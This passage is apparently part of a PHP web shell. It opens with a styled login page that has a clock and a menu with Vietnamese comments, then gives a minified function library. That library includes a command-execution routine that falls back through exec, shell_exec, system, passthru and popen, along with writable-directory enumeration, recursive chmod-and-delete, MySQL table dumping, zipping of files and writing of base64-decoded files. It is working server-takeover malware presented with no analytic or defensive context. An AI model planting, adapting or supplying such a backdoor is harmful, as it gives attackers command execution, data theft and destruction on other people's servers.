969 <li id="min"></li>
970 <li id="point">:</li>
971 <li id="sec"></li>
972 </ul>
973 <body bgcolor="black"></body>
974</div>
975 <style type="text/css">
976 @font-face {
977 font-family: 'BebasNeueRegular';
978 src: url('BebasNeue-webfont.eot');
979 src: url('BebasNeue-webfont.eot?#iefix') format('embedded-opentype'),
980 url('BebasNeue-webfont.woff') format('woff'),
981 url('BebasNeue-webfont.ttf') format('truetype'),
982 url('BebasNeue-webfont.svg#BebasNeueRegular') format('svg');
983 font-weight: normal;
984 font-style: normal;
985}
986.clock {
987 width: 800px;
988 margin: 0 auto;
989 padding: 30px;
990 border: 1px solid #333;
991 color: #fff;
992}
993
994#Date {
995 font-family: 'BebasNeueRegular', Arial, Helvetica, sans-serif;
996 font-size: 36px;
997 text-align: center;
998 text-shadow: 0 0 5px #00c6ff;
999}
1000
1001ul {
1002 width: 800px;
1003 margin: 0 auto;
1004 padding: 0px;
1005 list-style: none;
1006 text-align: center;
1007}
1008
1009ul li {
1010 display: inline;
1011 font-size: 10em;
1012 text-align: center;
1013 font-family: 'BebasNeueRegular', Arial, Helvetica, sans-serif;
1014 text-shadow: 0 0 5px #00c6ff;
1015}
1016
1017#point {
1018 position: relative;
1019 -moz-animation: mymove 1s ease infinite;
1020 -webkit-animation: mymove 1s ease infinite;
1021 padding-left: 10px;
1022 padding-right: 10px;
1023}
1024@-webkit-keyframes mymove {
1025 0% {opacity: 1.0;
1026 text-shadow: 0 0 20px #00c6ff;
1027}
1028
102950% {
1030 opacity: 0;
1031 text-shadow: none;
1032}
1033
1034100% {
1035 opacity: 1.0;
1036 text-shadow: 0 0 20px #00c6ff;
1037}
1038}
1039
1040@-moz-keyframes mymove {
1041 0% {
1042 opacity: 1.0;
1043 text-shadow: 0 0 20px #00c6ff;
1044 }
1045
1046 50% {
1047 opacity: 0;
1048 text-shadow: none;
1049 }
1050
1051 100% {
1052 opacity: 1.0;
1053 text-shadow: 0 0 20px #00c6ff;
1054 };
1055}
1056</style>
1057<script type="text/javascript" src="http://code.jquery.com/jquery-1.6.4.min.js"></script>
1058<script type="text/javascript">
1059$(document).ready(function() {
1060// Tao 2 mang chua ten ngay thang
1061var monthNames = [ "January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December" ];
1062var dayNames= ["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"]
1063
1064// Tao moi doi tuong Date()
1065var newDate = new Date();
1066// Lay gia tri thoi gian hien tai
1067newDate.setDate(newDate.getDate());
1068// Xuat ngay thang, nam
1069$('#Date').html(dayNames[newDate.getDay()] + " " + newDate.getDate() + ' ' + monthNames[newDate.getMonth()] + ' ' + newDate.getFullYear());
1070
1071setInterval( function() {
1072 // lay gia tri giay trong doi tuong Date()
1073 var seconds = new Date().getSeconds();
1074 // Chen so 0 vao dang truoc gia tri giay
1075 $("#sec").html(( seconds < 10 ? "0" : "" ) + seconds);
1076 },1000);
1077
1078setInterval( function() {
1079 // Tuong tu lay gia tri phut
1080 var minutes = new Date().getMinutes();
1081 // Chen so 0 vao dang truoc gia tri phut neu gia tri hien tai nho hon 10
1082 $("#min").html(( minutes < 10 ? "0" : "" ) + minutes);
1083 },1000);
1084
1085setInterval( function() {
1086 // Lay gia tri gio hien tai
1087 var hours = new Date().getHours();
1088 // Chen so 0 vao truoc gia tri gio neu gia tri nho hon 10
1089 $("#hours").html(( hours < 10 ? "0" : "" ) + hours);
1090 }, 1000);
1091});
1092</script>
1093<div align="center">
1094 <div>
1095 <form method="POST" action="" class="form-3">
1096 <p class="clearfix">
1097 <label for="login">Username</label>
1098 <input type="text" placeholder="Username">
1099 </p>
1100 <p class="clearfix">
1101 <label for="password">Password</label>
1102 <input type="password" name="password" id="password" placeholder="Password">
1103 <input type="hidden" name="doing" value="login">
1104 <input type="submit" name="submit" value="Login">
1105 </p>
1106 </form>
1107 <br>
1108 </font></div>
1109
1110 </font></div>
1111 <style>
1112 /* GLOBALS */
1113
1114*,
1115*:after,
1116*:before {
1117 -webkit-box-sizing: border-box;
1118 -moz-box-sizing: border-box;
1119 -ms-box-sizing: border-box;
1120 -o-box-sizing: border-box;
1121 box-sizing: border-box;
1122 padding: 0;
1123 margin: 0;
1124}
1125
1126.clearfix:after {
1127 content: "";
1128 display: table;
1129 clear: both;
1130}
1131
1132.form-3 {
1133 font-family: 'Ubuntu', 'Lato', sans-serif;
1134 font-weight: 400;
1135 /* Size and position */
1136 width: 300px;
1137 position: relative;
1138 margin: 60px auto 30px;
1139 padding: 10px;
1140 overflow: hidden;
1141
1142 /* Styles */
1143 background: #111;
1144 border-radius: 0.4em;
1145 border: 1px solid #191919;
1146 box-shadow:
1147 inset 0 0 2px 1px rgba(255,255,255,0.08),
1148 0 16px 10px -8px rgba(0, 0, 0, 0.6);
1149}
1150
1151.form-3 label {
1152 /* Size and position */
1153 width: 50%;
1154 float: left;
1155 padding-top: 9px;
1156
1157 /* Styles */
1158 color: #ddd;
1159 font-size: 12px;
1160 text-transform: uppercase;
1161 letter-spacing: 1px;
1162 text-shadow: 0 1px 0 #000;
1163 text-indent: 10px;
1164 font-weight: 700;
1165 cursor: pointer;
1166}
1167
1168.form-3 input[type=text],
1169.form-3 input[type=password] {
1170 /* Size and position */
1171 width: 50%;
1172 float: left;
1173 padding: 8px 5px;
1174 margin-bottom: 10px;
1175 font-size: 12px;
1176
1177 /* Styles */
1178 background: linear-gradient(#1f2124, #27292c);
1179 border: 1px solid #000;
1180 box-shadow:
1181 0 1px 0 rgba(255,255,255,0.1);
1182 border-radius: 3px;
1183
1184 /* Font styles */
1185 font-family: 'Ubuntu', 'Lato', sans-serif;
1186 color: #fff;
1187
1188}
1189
1190.form-3 input[type=text]:hover,
1191.form-3 input[type=password]:hover,
1192.form-3 label:hover ~ input[type=text],
1193.form-3 label:hover ~ input[type=password] {
1194 background: #27292c;
1195}
1196
1197.form-3 input[type=text]:focus,
1198.form-3 input[type=password]:focus {
1199 box-shadow: inset 0 0 2px #000;
1200 background: #494d54;
1201 border-color: #51cbee;
1202 outline: none; /* Remove Chrome outline */
1203}
1204
1205.form-3 p:nth-child(3),
1206.form-3 p:nth-child(4) {
1207 float: left;
1208 width: 50%;
1209}
1210
1211.form-3 label[for=remember] {
1212 width: auto;
1213 float: none;
1214 display: inline-block;
1215 text-transform: capitalize;
1216 font-size: 11px;
1217 font-weight: 400;
1218 letter-spacing: 0px;
1219 text-indent: 2px;
1220}
1221
1222.form-3 input[type=checkbox] {
1223 margin-left: 10px;
1224 vertical-align: middle;
1225}
1226
1227.form-3 input[type=submit] {
1228 /* Width and position */
1229 width: 100%;
1230 padding: 8px 5px;
1231
1232 /* Styles */
1233 border: 1px solid #0273dd; /* Fallback */
1234 border: 1px solid rgba(0,0,0,0.4);
1235 box-shadow:
1236 inset 0 1px 0 rgba(255,255,255,0.3),
1237 inset 0 10px 10px rgba(255,255,255,0.1);
1238 border-radius: 3px;
1239 background: #38a6f0;
1240 cursor:pointer;
1241
1242 /* Font styles */
1243 font-family: 'Ubuntu', 'Lato', sans-serif;
1244 color: white;
1245 font-weight: 700;
1246 font-size: 15px;
1247 text-shadow: 0 -1px 0 rgba(0,0,0,0.8);
1248}
1249
1250.form-3 input[type=submit]:hover {
1251 box-shadow: inset 0 1px 0 rgba(255,255,255,0.6);
1252}
1253
1254.form-3 input[type=submit]:active {
1255 background: #287db5;
1256 box-shadow: inset 0 0 3px rgba(0,0,0,0.6);
1257 border-color: #000; /* Fallback */
1258 border-color: rgba(0,0,0,0.9);
1259}
1260
1261.no-boxshadow .form-3 input[type=submit]:hover {
1262 background: #2a92d8;
1263}
1264
1265/* Gradient line */
1266.form-3:after {
1267 /* Size and position */
1268 content: "";
1269 height: 1px;
1270 width: 33%;
1271 position: absolute;
1272 left: 20%;
1273 top: 0;
1274
1275 /* Styles */
1276 background: linear-gradient(left, transparent, #444, #b6b6b8, #444, transparent);
1277}
1278
1279/* Small flash */
1280.form-3:before {
1281 /* Size and position */
1282 content: "";
1283 width: 8px;
1284 height: 5px;
1285 position: absolute;
1286 left: 34%;
1287 top: -7px;
1288
1289 /* Styles */
1290 border-radius: 50%;
1291 box-shadow: 0 0 6px 4px #fff;
1292}
1293
1294.form-3 p:nth-child(1):before{
1295 /* Size and position */
1296 content: "";
1297 width: 250px;
1298 height: 100px;
1299 position: absolute;
1300 top: 0;
1301 left: 45px;
1302
1303 /* Styles */
1304 transform: rotate(75deg);
1305 background: linear-gradient(50deg, rgba(255,255,255,0.15), rgba(0,0,0,0));
1306 pointer-events: none;
1307}
1308
1309.no-pointerevents .form-3 p:nth-child(1):before {
1310 display: none;
1311}
1312</style>
1313<aside class="container">
1314 <input type="checkbox" id="menu__trigger">
1315 <section class="menu">
1316 <!--<label for="menu__trigger" class="entypo-cancel"></label>-->
1317 <nav>
1318 <a href="https://www.facebook.com/profile.php?id=100011074965700">1. Facebook</a>
1319 <a href="https://www.facebook.com/profile.php?id=100011074965700">2. Clone</a>
1320 <a href="http://google.com">3. Website</a>
1321 <a href="https://www.youtube.com/channel/UCiQ9ZT6xuvtRQDKfzHRrehQ">4. Youtube</a>
1322 <a href="https://google.com">5. Google</a>
1323 <a href="/">6. Trang chủ</a>
1324 </nav>
1325 </section>
1326
1327 <section class="content">
1328 <label for="menu__trigger" class="entypo-menu"></label>
1329 </section>
1330</aside>
1331<style>
1332[class*="entypo-"]:before {
1333 font-family: 'entypo', sans-serif;
1334}
1335[class*="entypo-"]:before {
1336 font-family: 'entypo', sans-serif;
1337}
1338
1339html {
1340 min-height: 100%;
1341 min-width: 100%;
1342}
1343html body {
1344 min-height: 100%;
1345 min-width: 100%;
1346 font-family: 'Lato', sans-serif;
1347}
1348
1349html body input[type="checkbox"] {
1350 position: absolute;
1351 height: 0;
1352 width: 0;
1353 display: none;
1354}
1355html body input[type="checkbox"]:checked ~ .menu nav a {
1356 -webkit-transform: translate3d(0px, 0, 0) rotateY(0deg);
1357 transform: translate3d(0px, 0, 0) rotateY(0deg);
1358 -webkite-transform-style: preserve-3d;
1359 transform-style: preserve-3d;
1360 -webkit-transition: all .4s ease-in-out;
1361 transition: all .4s ease-in-out;
1362 background: #252525;
1363 color: #fff;
1364}
1365html body input[type="checkbox"]:checked ~ .menu nav a:nth-child(2) {
1366 -webkit-transition-delay: .1s;
1367 transition-delay: .1s;
1368}
1369html body input[type="checkbox"]:checked ~ .menu nav a:nth-child(3) {
1370 -webkit-transition-delay: .2s;
1371 transition-delay: .2s;
1372}
1373html body input[type="checkbox"]:checked ~ .menu nav a:nth-child(4) {
1374 -webkit-transition-delay: .3s;
1375 transition-delay: 0.3s;
1376}
1377html body input[type="checkbox"]:checked ~ .menu nav a:nth-child(5) {
1378 -webkit-transition-delay: .4s;
1379 transition-delay: .4s;
1380}
1381html body input[type="checkbox"]:checked ~ .menu nav a:nth-child(6) {
1382 -webkit-transition-delay: .5s;
1383 transition-delay: 0.5s;
1384}
1385html body input[type="checkbox"]:checked ~ .menu nav a:nth-child(7) {
1386 -webkit-transition-delay: .6s;
1387 transition-delay: 0.6s;
1388}
1389html body input[type="checkbox"]:checked ~ .menu nav a:nth-child(8) {
1390 -webkit-transition-delay: .7s;
1391 transition-delay: 0.7s;
1392}
1393html body section.menu {
1394 position: fixed;
1395 z-index: 10;
1396 top: 0;
1397 bottom: 0;
1398 min-height: 100%;
1399}
1400html body section.menu nav {
1401 padding-top: 4rem;
1402 -webkit-perspective: 20rem;
1403 perspective: 20rem;
1404}
1405html body section.menu nav a {
1406 display: block;
1407 width: 12rem;
1408 padding: 1.25rem 0rem 1.25rem 1.75rem;
1409 background: #222;
1410 border-bottom: 1px solid #2a2a2a;
1411 box-shadow: 2px 2px 2px rgba(0, 0, 0, 0.15), inset 2px 0 0 #fff;
1412 color: #fff;
1413 letter-spacing: 1.5px;
1414 font-weight: 300;
1415 font-size: 1.25rem;
1416 text-decoration: none;
1417 -webkit-transform: translate3d(-100%, 0, 0) rotateY(90deg);
1418 transform: translate3d(-100%, 0, 0) rotateY(90deg);
1419 -webkit-transform-origin: 0% 50%;
1420 transform-origin: 0% 50%;
1421 -webkit-transform-style: preserve-3d;
1422 transform-style: preserve-3d;
1423 -webkit-transition: all .25s ease-in-out;
1424 transition: all .25s ease-in-out;
1425}
1426html body section.menu nav a:nth-child(1) {
1427 -webkit-transition-delay: .235s;
1428 transition-delay: .235s;
1429}
1430html body section.menu nav a:nth-child(2) {
1431 -webkit-transition-delay: .2s;
1432 transition-delay: .2s;
1433}
1434html body section.menu nav a:nth-child(3) {
1435 -webkit-transition-delay: .165s;
1436 transition-delay: .165s;
1437}
1438html body section.menu nav a:nth-child(4) {
1439 -webkit-transition-delay: .13s;
1440 transition-delay: .13s;
1441}
1442html body section.menu nav a:nth-child(5) {
1443 -webkit-transition-delay: .095s;
1444 transition-delay: .095s;
1445}
1446html body section.menu nav a:nth-child(6) {
1447 -webkit-transition-delay: .06s;
1448 transition-delay: .06s;
1449}
1450html body section.menu nav a:nth-child(7) {
1451 -webkit-transition-delay: .25s;
1452 transition-delay: .025s;
1453}
1454html body section.content label {
1455 position: fixed;
1456 z-index: 1000;
1457 padding: 1rem 1.5rem;
1458 background: #222;
1459 font-size: 2rem;
1460 line-height: 2rem;
1461 color: #fff;
1462 cursor: pointer;
1463}
1464html body section.content h1 {
1465 display: table-cell;
1466 vertical-align: middle;
1467 text-align: center;
1468 font-size: 3rem;
1469 letter-spacing: 1px;
1470 color: #fff;
1471}
1472</style>
1473<style type="text/css">body, a:hover {cursor: url(http://cur.cursors-4u.net/smilies/smi-3/smi211.cur), progress !important;}</style><a href="http://www.cursors-4u.com/cursor/2011/10/13/trollface-problem-coolface-rage-face-comics.html" target="_blank" title="Trollface / Problem? / Coolface - Rage Face Comics"><img src="http://cur.cursors-4u.net/cursor.png" border="0" alt="Trollface / Problem? / Coolface - Rage Face Comics" style="position:absolute; top: 0px; right: 0px;" /></a>
1474
1475<BR>
1476
1477
1478<?php echo "".$err_mess.""; ?>
1479
1480
1481
1482</div>
1483
1484
1485
1486
1487
1488 </fieldset>
1489
1490
1491
1492
1493
1494
1495
1496</head>
1497
1498</html>
1499
1500
1501
1502
1503
1504<?php exit; } function execute($cfe) { $res = ''; if ($cfe) { if(function_exists('exec')) { @exec($cfe,$res); $res = join("\n",$res); } elseif(function_exists('shell_exec')) { $res = @shell_exec($cfe); } elseif(function_exists('system')) { @ob_start(); @system($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(function_exists('passthru')) { @ob_start(); @passthru($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(@is_resource($f = @popen($cfe,"r"))) { $res = ''; while(!@feof($f)) { $res .= @fread($f,1024); } @pclose($f); } } return $res; } function which($pr) { $path = execute("which $pr"); return ($path ? $path : $pr); } function cf($fname,$text){ if($fp=@fopen($fname,'w')) { @fputs($fp,@base64_decode($text)); @fclose($fp); } } function debuginfo() { global $starttime; $mtime = explode(' ', microtime()); $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6); echo 'Processed in '.$totaltime.' second(s)'; } function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') { if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) { p('<h2>Can not connect to MySQL server</h2>'); exit; } if($link && $dbname) { if (!@mysql_select_db($dbname, $link)) { p('<h2>Database selected has error</h2>'); exit; } } if($link && mysql_get_server_info() > '4.1') { if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) { q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link); } } return $link; } function s_array(&$array) { if (is_array($array)) { foreach ($array as $k => $v) { $array[$k] = s_array($v); } } else if (is_string($array)) { $array = stripslashes($array); } return $array; } function html_clean($content) { $content = htmlspecialchars($content); $content = str_replace("\n", "<br />", $content); $content = str_replace(" ", " ", $content); $content = str_replace("\t", " ", $content); return $content; } function getChmod($filepath){ return substr(base_convert(@fileperms($filepath),10,8),-4); } function getPerms($filepath) { $mode = @fileperms($filepath); if (($mode & 0xC000) === 0xC000) {$type = 's';} elseif (($mode & 0x4000) === 0x4000) {$type = 'd';} elseif (($mode & 0xA000) === 0xA000) {$type = 'l';} elseif (($mode & 0x8000) === 0x8000) {$type = '-';} elseif (($mode & 0x6000) === 0x6000) {$type = 'b';} elseif (($mode & 0x2000) === 0x2000) {$type = 'c';} elseif (($mode & 0x1000) === 0x1000) {$type = 'p';} else {$type = '?';} $owner['read'] = ($mode & 00400) ? 'r' : '-'; $owner['write'] = ($mode & 00200) ? 'w' : '-'; $owner['execute'] = ($mode & 00100) ? 'x' : '-'; $group['read'] = ($mode & 00040) ? 'r' : '-'; $group['write'] = ($mode & 00020) ? 'w' : '-'; $group['execute'] = ($mode & 00010) ? 'x' : '-'; $world['read'] = ($mode & 00004) ? 'r' : '-'; $world['write'] = ($mode & 00002) ? 'w' : '-'; $world['execute'] = ($mode & 00001) ? 'x' : '-'; if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';} if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';} if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';} return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute']; } function getUser($filepath) { if (function_exists('posix_getpwuid')) { $array = @posix_getpwuid(@fileowner($filepath)); if ($array && is_array($array)) { return ' / <a href="#" title="User: '.$array['name'].'
Passwd: '.$array['passwd'].'
Uid: '.$array['uid'].'
gid: '.$array['gid'].'
Gecos: '.$array['gecos'].'
Dir: '.$array['dir'].'
Shell: '.$array['shell'].'">'.$array['name'].'</a>'; } } return ''; } function deltree($deldir) { $mydir=@dir($deldir); while($file=$mydir->read()) { if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) { @chmod($deldir.'/'.$file,0777); deltree($deldir.'/'.$file); } if (is_file($deldir.'/'.$file)) { @chmod($deldir.'/'.$file,0777); @unlink($deldir.'/'.$file); } } $mydir->close(); @chmod($deldir,0777); return @rmdir($deldir) ? 1 : 0; } function bg() { global $bgc; return ($bgc++%2==0) ? 'alt1' : 'alt2'; } function getPath($scriptpath, $nowpath) { if ($nowpath == '.') { $nowpath = $scriptpath; } $nowpath = str_replace('\\', '/', $nowpath); $nowpath = str_replace('//', '/', $nowpath); if (substr($nowpath, -1) != '/') { $nowpath = $nowpath.'/'; } return $nowpath; } function getUpPath($nowpath) { $pathdb = explode('/', $nowpath); $num = count($pathdb); if ($num > 2) { unset($pathdb[$num-1],$pathdb[$num-2]); } $uppath = implode('/', $pathdb).'/'; $uppath = str_replace('//', '/', $uppath); return $uppath; } function getcfg($varname) { $result = get_cfg_var($varname); if ($result == 0) { return 'No'; } elseif ($result == 1) { return 'Yes'; } else { return $result; } } function getfun($funName) { return (false !== function_exists($funName)) ? 'Yes' : 'No'; } function GetList($dir){ global $dirdata,$j,$nowpath; !$j && $j=1; if ($dh = opendir($dir)) { while ($file = readdir($dh)) { $f=str_replace('//','/',$dir.'/'.$file); if($file!='.' && $file!='..' && is_dir($f)){ if (is_writable($f)) { $dirdata[$j]['filename']=str_replace($nowpath,'',$f); $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f)); $dirdata[$j]['dirchmod']=getChmod($f); $dirdata[$j]['dirperm']=getPerms($f); $dirdata[$j]['dirlink']=ue($dir); $dirdata[$j]['server_link']=$f; $dirdata[$j]['client_link']=ue($f); $j++; } GetList($f); } } closedir($dh); clearstatcache(); return $dirdata; } else { return array(); } } function qy($sql) { $res = $error = ''; if(!$res = @mysql_query($sql)) { return 0; } else if(is_resource($res)) { return 1; } else { return 2; } return 0; } function q($sql) { return @mysql_query($sql); } function fr($qy){ mysql_free_result($qy); } function sizecount($size) { if($size > 1073741824) { $size = round($size / 1073741824 * 100) / 100 . ' G'; } elseif($size > 1048576) { $size = round($size / 1048576 * 100) / 100 . ' M'; } elseif($size > 1024) { $size = round($size / 1024 * 100) / 100 . ' K'; } else { $size = $size . ' B'; } return $size; } class PHPZip{ var $out=''; function PHPZip($dir) { if (@function_exists('gzcompress')) { $curdir = getcwd(); if (is_array($dir)) $filelist = $dir; else{ $filelist=$this -> GetFileList($dir); foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1); } if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir); else chdir($curdir); if (count($filelist)>0){ foreach($filelist as $filename){ if (is_file($filename)){ $fd = fopen ($filename, 'r'); $content = @fread ($fd, filesize($filename)); fclose ($fd); if (is_array($dir)) $filename = basename($filename); $this -> addFile($content, $filename); } } $this->out = $this -> file(); chdir($curdir); } return 1; } else return 0; } function GetFileList($dir){ static $a; if (is_dir($dir)) { if ($dh = opendir($dir)) { while ($file = readdir($dh)) { if($file!='.' && $file!='..'){ $f=$dir .'/'. $file; if(is_dir($f)) $this->GetFileList($f); $a[]=$f; } } closedir($dh); } } return $a; } var $datasec = array(); var $ctrl_dir = array(); var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00"; var $old_offset = 0; function unix2DosTime($unixtime = 0) { $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime); if ($timearray['year'] < 1980) { $timearray['year'] = 1980; $timearray['mon'] = 1; $timearray['mday'] = 1; $timearray['hours'] = 0; $timearray['minutes'] = 0; $timearray['seconds'] = 0; } return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1); } function addFile($data, $name, $time = 0) { $name = str_replace('\\', '/', $name); $dtime = dechex($this->unix2DosTime($time)); $hexdtime = '\x' . $dtime[6] . $dtime[7] . '\x' . $dtime[4] . $dtime[5] . '\x' . $dtime[2] . $dtime[3] . '\x' . $dtime[0] . $dtime[1]; eval('$hexdtime = "' . $hexdtime . '";'); $fr = "\x50\x4b\x03\x04"; $fr .= "\x14\x00"; $fr .= "\x00\x00"; $fr .= "\x08\x00"; $fr .= $hexdtime; $unc_len = strlen($data); $crc = crc32($data); $zdata = gzcompress($data); $c_len = strlen($zdata); $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2); $fr .= pack('V', $crc); $fr .= pack('V', $c_len); $fr .= pack('V', $unc_len); $fr .= pack('v', strlen($name)); $fr .= pack('v', 0); $fr .= $name; $fr .= $zdata; $fr .= pack('V', $crc); $fr .= pack('V', $c_len); $fr .= pack('V', $unc_len); $this -> datasec[] = $fr; $new_offset = strlen(implode('', $this->datasec)); $cdrec = "\x50\x4b\x01\x02"; $cdrec .= "\x00\x00"; $cdrec .= "\x14\x00"; $cdrec .= "\x00\x00"; $cdrec .= "\x08\x00"; $cdrec .= $hexdtime; $cdrec .= pack('V', $crc); $cdrec .= pack('V', $c_len); $cdrec .= pack('V', $unc_len); $cdrec .= pack('v', strlen($name) ); $cdrec .= pack('v', 0 ); $cdrec .= pack('v', 0 ); $cdrec .= pack('v', 0 ); $cdrec .= pack('v', 0 ); $cdrec .= pack('V', 32 ); $cdrec .= pack('V', $this -> old_offset ); $this -> old_offset = $new_offset; $cdrec .= $name; $this -> ctrl_dir[] = $cdrec; } function file() { $data = implode('', $this -> datasec); $ctrldir = implode('', $this -> ctrl_dir); return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00"; } } function sqldumptable($table, $fp=0) { $tabledump = "DROP TABLE IF EXISTS $table;\n"; $tabledump .= "CREATE TABLE $table (\n"; $firstfield=1; $fields = q("SHOW FIELDS FROM $table"); while ($field = mysql_fetch_array($fields)) { if (!$firstfield) { $tabledump .= ",\n"; } else { $firstfield=0; } $tabledump .= " $field[Field] $field[Type]"; if (!empty($field["Default"])) { $tabledump .= " DEFAULT '$field[Default]'"; } if ($field['Null'] != "YES") { $tabledump .= " NOT NULL"; } if ($field['Extra'] != "") { $tabledump .= " $field[Extra]"; } } fr($fields); $keys = q("SHOW KEYS FROM $table"); while ($key = mysql_fetch_array($keys)) { $kname=$key['Key_name']; if ($kname != "PRIMARY" && $key['Non_unique'] == 0) { $kname="UNIQUE|$kname"; } if(!is_array($index[$kname])) { $index[$kname] = array(); } $index[$kname][] = $key['Column_name']; } fr($keys); while(list($kname, $columns) = @each($index)) { $tabledump .= ",\n"; $colnames=implode($columns,","); if ($kname == "PRIMARY") { $tabledump .= " PRIMARY KEY ($colnames)"; } else { if (substr($kname,0,6) == "UNIQUE") { $kname=substr($kname,7); } $tabledump .= " KEY $kname ($colnames)"; } } $tabledump .= "\n);\n\n"; if ($fp) { fwrite($fp,$tabledump); } else { echo $tabledump; } $rows = q("SELECT * FROM $table"); $numfields = mysql_num_fields($rows); while ($row = mysql_fetch_array($rows)) { $tabledump = "INSERT INTO $table VALUES("; $fieldcounter=-1; $firstfield=1; while (++$fieldcounter<$numfields) { if (!$firstfield) { $tabledump.=", "; } else { $firstfield=0; } if (!isset($row[$fieldcounter])) { $tabledump .= "NULL"; } else { $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'"; } } $tabledump .= ");\n"; if ($fp) { fwrite($fp,$tabledump); } else { echo $tabledump; } } fr($rows); if ($fp) { fwrite($fp,"\n"); } else { echo "\n"; } } function ue($str){ return urlencode($str); } function p($str){ echo $str."\n"; } function tbhead() { p('<table width="100%" border="0" cellpadding="4" cellspacing="0">'); } function tbfoot(){ p('</table>'); } function makehide($name,$value=''){ p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />"); } function makeinput($arg = array()){ $arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\""; $arg['extra'] = $arg['extra'] ? $arg['extra'] : ''; !$arg['type'] && $arg['type'] = 'text'; $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : ''; $arg['class'] = $arg['class'] ? $arg['class'] : 'input'; if ($arg['newline']) { p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>"); } else { p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />"); } } function makeselect($arg = array()){ if ($arg['onchange']) { $onchange = 'onchange="'.$arg['onchange'].'"'; } $arg['title'] = $arg['title'] ? $arg['title'] : ''; if ($arg['newline']) p('<p>'); p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>"); if (is_array($arg['option'])) { foreach ($arg['option'] as $key=>$value) { if ($arg['selected']==$key) { p("<option value=\"$key\" selected>$value</option>"); } else { p("<option value=\"$key\">$value</option>"); } } } p("</select>"); if ($arg['newline']) p('</p>'); } function formhead($arg = array()) { !$arg['method'] && $arg['method'] = 'post'; !$arg['action'] && $arg['action'] = $self; $arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : ''; !$arg['name'] && $arg['name'] = 'form1'; p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>"); if ($arg['title']) { p('<h2>'.$arg['title'].' »</h2>'); } } function maketext($arg = array()){ !$arg['cols'] && $arg['cols'] = 100; !$arg['rows'] && $arg['rows'] = 25; $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : ''; p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>"); } function formfooter($name = ''){ !$name && $name = 'submit'; p('<p><input class="bt" name="'.$name.'" id=\"'.$name.'\" type="submit" value="Submit"></p>'); p('</form>'); } function formfoot(){ p('</form>'); } function pr($a) { echo '<pre>'; print_r($a); echo '</pre>'; } ?>